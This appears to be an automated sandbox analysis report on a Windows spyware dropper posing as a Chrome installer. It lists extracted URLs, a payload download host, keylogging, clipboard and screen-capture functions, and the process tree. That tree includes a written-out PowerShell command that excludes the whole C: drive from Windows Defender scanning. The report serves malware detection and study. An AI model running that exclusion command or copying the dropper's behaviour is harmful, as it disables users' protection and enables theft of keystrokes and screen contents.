Source: powershell.exe, 0000000D.00000002.1416194201.0000000002ACC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1448148275.00000000081F3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1679857950.00000000070AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 0000000D.00000002.1442684525.0000000006FF6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1448148275.00000000081F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ChromeSetup.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: powershell.exe, 00000013.00000002.1679857950.0000000007090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoftM
Source: powershell.exe, 00000013.00000002.1679857950.0000000007090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoftMicrosoft.PowerShell.Archive.psd1
Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000004.00000002.1356459970.000000000563C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1403002958.000000000597C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1437685680.000000000568D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1674897205.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000013.00000002.1657270156.0000000004A95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1352573033.0000000004726000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000004A65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000004F10000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1420200807.0000000004776000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.0000000004F27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.0000000004A95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000004.00000002.1352573033.00000000045D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000004911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1420200807.0000000004621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.0000000004941000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1648793424.0000000004314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1352573033.0000000004726000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000004A65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000004F10000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1420200807.0000000004776000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.0000000004F27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.0000000004A95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://support.google.com/installer/
Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://support.google.com/installer/%s?product=%s&error=%d
Source: powershell.exe, 00000013.00000002.1657270156.0000000004A95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: powershell.exe, 00000004.00000002.1352573033.00000000045D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000004911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1420200807.0000000004621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.0000000004941000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1648793424.00000000042E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1648793424.00000000042D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 0000000D.00000002.1420200807.0000000004776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: https://clients2.google.com/cr/report
Source: powershell.exe, 00000013.00000002.1674897205.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000013.00000002.1674897205.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000013.00000002.1674897205.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: https://crashpad.chromium.org/
Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: https://crashpad.chromium.org/bug/new
Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new
Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: https://dl.google.com/update2/installers/icons/
Source: powershell.exe, 00000013.00000002.1657270156.0000000004A95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000002.1392284499.0000000005223000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.00000000050E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000005043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.000000000529C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.00000000050AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/
Source: FIWszl1A8l.exe, 00000000.00000002.1733549157.0000000000400000.00000040.00000001.01000000.00000003.sdmp, FIWszl1A8l.exe, 00000000.00000002.1734717265.00000000009D9000.00000004.00000020.00020000.00000000.sdmp, FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A37000.00000004.00000020.00020000.00000000.sdmp, FIWszl1A8l.exe, 00000006.00000002.3781678272.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exe
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exe3E(
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exeZ
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exeg
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exetB
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exexC
Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: powershell.exe, 00000004.00000002.1356459970.000000000563C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1403002958.000000000597C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1437685680.000000000568D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1674897205.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: https://update.googleapis.com/service/update2/json
Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: https://update.googleapis.com/service/update2/jsonhttps://clients2.google.com/cr/reporthttps://m.goo
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: https://www.innosetup.com/
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443

Source: unknown

HTTPS traffic detected: 47.79.66.76:443 -> 192.168.2.9:49751 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: [esc]	6_2_02D0E850
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: [esc]	6_2_02D0E850
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: [esc]	6_2_02D0E850
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: [esc]	6_2_02D0E850

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D0E850 Sleep,CreateMutexW,GetLastError,_memset,Sleep,GetTickCount,GetTickCount,GetTickCount,InterlockedExchange,OpenClipboard,GetClipboardData,GlobalSize,GlobalLock,wsprintfW,_memset,GlobalUnlock,CloseClipboard,WaitForSingleObject,CreateFileW,SetFilePointer,lstrlenW,WriteFile,CloseHandle,ReleaseMutex,GetKeyState,lstrlenW,wsprintfW,lstrlenW,lstrlenW,wsprintfW,wsprintfW,wsprintfW,lstrlenW,WaitForSingleObject,CreateFileW,SetFilePointer,lstrlenW,WriteFile,CloseHandle,ReleaseMutex,

6_2_02D0E850

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

6_2_02D0E850

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D0BC70 GetDesktopWindow,GetDC,GetDC,CreateCompatibleDC,GetDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,ReleaseDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,CreateCompatibleBitmap,SelectObject,SetStretchBltMode,GetSystemMetrics,GetSystemMetrics,StretchBlt,_memset,GetDIBits,_memset,DeleteObject,DeleteObject,ReleaseDC,DeleteObject,DeleteObject,ReleaseDC,

6_2_02D0BC70

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D0E4F0 Sleep,CreateMutexW,GetLastError,SHGetFolderPathW,lstrcatW,CreateMutexW,WaitForSingleObject,CreateFileW,GetFileSize,CloseHandle,DeleteFileW,ReleaseMutex,DirectInput8Create,GetTickCount,GetKeyState,

6_2_02D0E4F0

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Windows user hook set: 0 mouse low level C:\Windows\SYSTEM32\DINPUT8.dll

Jump to behavior

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

Code function: 0_2_008D18A7 GetModuleHandleA,CreateWindowExW,SendMessageW,CreateThread,PostQuitMessage,NtdllDefWindowProc_W,

0_2_008D18A7

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D0B463 ExitWindowsEx,	6_2_02D0B463
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D0B41B ExitWindowsEx,	6_2_02D0B41B
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D0B43F ExitWindowsEx,	6_2_02D0B43F

Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Code function: 0_2_10016721	0_2_10016721
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Code function: 0_2_008D0032	0_2_008D0032
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Code function: 0_2_008E66F8	0_2_008E66F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_044BB490	4_2_044BB490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_044BB470	4_2_044BB470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_08493A98	4_2_08493A98
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_3_03FACBBB	6_3_03FACBBB
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_3_03FC1B5A	6_3_03FC1B5A
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_3_03FAB19B	6_3_03FAB19B
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_3_03FC20AB	6_3_03FC20AB
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_3_03FA676B	6_3_03FA676B
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_3_03FAAF0B	6_3_03FAAF0B
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_3_03FBC63C	6_3_03FBC63C
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_3_03FC25FC	6_3_03FC25FC
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_3_03FC3CBA	6_3_03FC3CBA
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D06EE0	6_2_02D06EE0
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D06C50	6_2_02D06C50
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D1EA1D	6_2_02D1EA1D
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D18381	6_2_02D18381
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D1E341	6_2_02D1E341
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D1D89F	6_2_02D1D89F
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D1F9FF	6_2_02D1F9FF
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D08900	6_2_02D08900
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D024B0	6_2_02D024B0
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D1DDF0	6_2_02D1DDF0
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0098122F	6_2_0098122F
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_009724B0	6_2_009724B0
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00980CDE	6_2_00980CDE
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00982D91	6_2_00982D91
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00981E5C	6_2_00981E5C
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0097B66A	6_2_0097B66A
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00981780	6_2_00981780
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00920032	6_2_00920032
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00931206	6_2_00931206
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00922487	6_2_00922487
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00930CB5	6_2_00930CB5
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00932D68	6_2_00932D68
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0092B641	6_2_0092B641
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00931757	6_2_00931757
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_028282BF	6_2_028282BF
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0283D25E	6_2_0283D25E
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0283F3BE	6_2_0283F3BE
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0282689F	6_2_0282689F
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0282660F	6_2_0282660F
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02821E6F	6_2_02821E6F
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0283D7AF	6_2_0283D7AF
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0283DD00	6_2_0283DD00
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02837D40	6_2_02837D40

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: String function: 02833CBF appears 33 times
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: String function: 02D14300 appears 32 times
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: String function: 03FB85BB appears 33 times

Source: FIWszl1A8l.exe

Static PE information: invalid certificate

Source: FIWszl1A8l.exe	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: FIWszl1A8l.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: ChromeSetup[1].exe.0.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.4
Source: ChromeSetup[1].exe.0.dr	Static PE information: Resource name: RT_STRING type: CLIPPER COFF executable (VAX #) not stripped - version 71
Source: ChromeSetup.exe.0.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.4
Source: ChromeSetup.exe.0.dr	Static PE information: Resource name: RT_STRING type: CLIPPER COFF executable (VAX #) not stripped - version 71

Source: FIWszl1A8l.exe, 00000000.00000000.1315475964.00000000006F4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs FIWszl1A8l.exe
Source: FIWszl1A8l.exe, 00000000.00000003.1366103357.00000000029D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs FIWszl1A8l.exe
Source: FIWszl1A8l.exe, 00000000.00000002.1737241689.0000000000D78000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs FIWszl1A8l.exe
Source: FIWszl1A8l.exe, 00000006.00000002.3785160100.0000000000C98000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs FIWszl1A8l.exe
Source: FIWszl1A8l.exe	Binary or memory string: OriginalFileName vs FIWszl1A8l.exe
Source: FIWszl1A8l.exe.0.dr	Binary or memory string: OriginalFileName vs FIWszl1A8l.exe

Source: FIWszl1A8l.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@29/27@1/2

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D07B70 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	6_2_02D07B70
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D07620 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,OpenProcess,	6_2_02D07620
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D07740 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,	6_2_02D07740

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D06C50 wsprintfW,MultiByteToWideChar,GetDriveTypeW,GetDiskFreeSpaceExW,_memset,GlobalMemoryStatusEx,swprintf,swprintf,

6_2_02D06C50

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

Code function: 0_2_10001FA0 CreateToolhelp32Snapshot,memset,Process32FirstW,WideCharToMultiByte,CloseHandle,Process32NextW,CloseHandle,

0_2_10001FA0

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

0_2_10002090

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

File created: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8084:120:WilError_03
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Mutant created: \Sessions\1\BaseNamedObjects\2024.12.28
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7940:120:WilError_03
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Mutant created: \Sessions\1\BaseNamedObjects\VJANCAVESU

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

File created: C:\Users\user\AppData\Local\Temp\PolicyManagement.xml

Jump to behavior

Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: FIWszl1A8l.exe	Virustotal: Detection: 45%
Source: FIWszl1A8l.exe	ReversingLabs: Detection: 31%

Source: FIWszl1A8l.exe	String found in binary or memory: -Helper process exited with failure code: 0x%x
Source: FIWszl1A8l.exe	String found in binary or memory: -HelperRegisterTypeLibrary: StatusCode invalidU
Source: FIWszl1A8l.exe	String found in binary or memory: /InstallOnThisVersion: Invalid MinVersion string
Source: FIWszl1A8l.exe	String found in binary or memory: /LoadInf=

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

File read: C:\Users\user\Desktop\FIWszl1A8l.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\FIWszl1A8l.exe "C:\Users\user\Desktop\FIWszl1A8l.exe"
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe "C:\Users\user\AppData\Roaming\FIWszl1A8l.exe"
